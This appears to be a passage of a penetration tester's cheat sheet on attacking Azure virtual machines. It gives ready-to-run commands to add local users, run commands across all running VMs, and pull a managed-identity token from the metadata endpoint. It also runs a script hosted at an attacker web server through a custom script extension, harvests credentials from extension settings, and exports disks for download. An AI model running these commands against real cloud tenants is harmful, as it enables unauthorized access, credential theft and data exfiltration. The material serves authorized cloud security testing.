- Create a local user on a VM - Using Azure CLI - `az vm user update -u username -p password -n -g ` - Using PowerShell - `Get-AzVM` - `Set-AzVMAccessExtension -ResourceGroupName "" -Location "" -VMName "" -Name "" -TypeHandlerVersion "2.4" -UserName "" -Password ""` - OR - `Set-AzVMAccessExtension -ResourceGroupName "PENTEST-RG" -VMName "winvm01" -Credential (get-credential) -typeHandlerVersion "2.0" -Name VMAccessAgent` - Authenticate to VMs with local credentials - With RDP - `Get-AzPublicIpAddress -Name winvm01* | Select IpAddress` - If the VM does not have a public IP or RDP is not listening, Contributor permissions can be used to expose the service (MAJOR RISK) - With Run Command (using VM agent) - List out running Windows VMs and cast to the VMs variable - `$VMs = Get-AzVM -Status | where {($_.PowerState -EQ "VM running") -and ($_.StorageProfile.OSDisk.OSType -eq "Windows")}` - Pass VMs to Invoke-AzVMRunCommand - `$VMs | Invoke-AzVMRunCommand -CommandId 'RunPowerShellScript' -ScriptPath .\whoami.ps1` - Can use indices of VMs variable to pass commands to only select VMs rather than all of them (eg. $VMs\[0\]) - From Azure REST APIs (useful especially for using a token to a managed identity) - Obtain an access token (from a VM with a managed identity) - `curl -H Metadata:true -s 'http://169.254.169.254/metadata/identity/oauth2/token?apiversion=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' | jq` - Execute commands (PowerShell) - `$mgmtToken = "TOKEN GOES HERE"` - `Invoke-AzVMCommandREST -commandToExecute "whoami > test.txt" -managementToken $mgmtToken 204cce89-27de-4669-a48b-04c27255e05e` - Execute script with VM extensions - Host the script at some URI, then execute this: - `Set-AzVMCustomScriptExtension -ResourceGroupName TEST -VMName PentestVM -Location westcentralus -FileUri 'http://attacker.webserver.com/whoami.ps1' -Run 'whoami.ps1' -Name CustomScriptExtension` - [Attacking Azure with Custom Script Extensions (netspi.com)](https://www.netspi.com/blog/technical/cloud-penetration-testing/attacking-azure-with-custom-script-extensions/) - Credential Harvesting - VM extension settings - Domain join extension - Microburst - `Get-AzureVMExtentionSettings` - PowerShell ISE can store old scripts/credentials - [Decrypting Azure VM Extension Settings with Get-AzureVMExtensionSettings (netspi.com)](https://www.netspi.com/blog/technical/cloud-penetration-testing/decrypting-azure-vm-extension-settings-with-get-azurevmextensionsettings/) - Disk Export and Snapshot Export - Can export a disk and generate a temp URL to download it (only for disks not attached to running VMs) - For disks attached to VMs, create a snapshot and then export that. - If encrypted, you'll need a key from the key vault - PowerZure - Get list of all unattached VM disks - ` Get-AzDisk | Where-Object {$_.DiskState -ne "Attached"} | Select Name, DiskState, Encryption` - Generate a public URL to export the disk - `Get-AzureVMDisk -DiskName `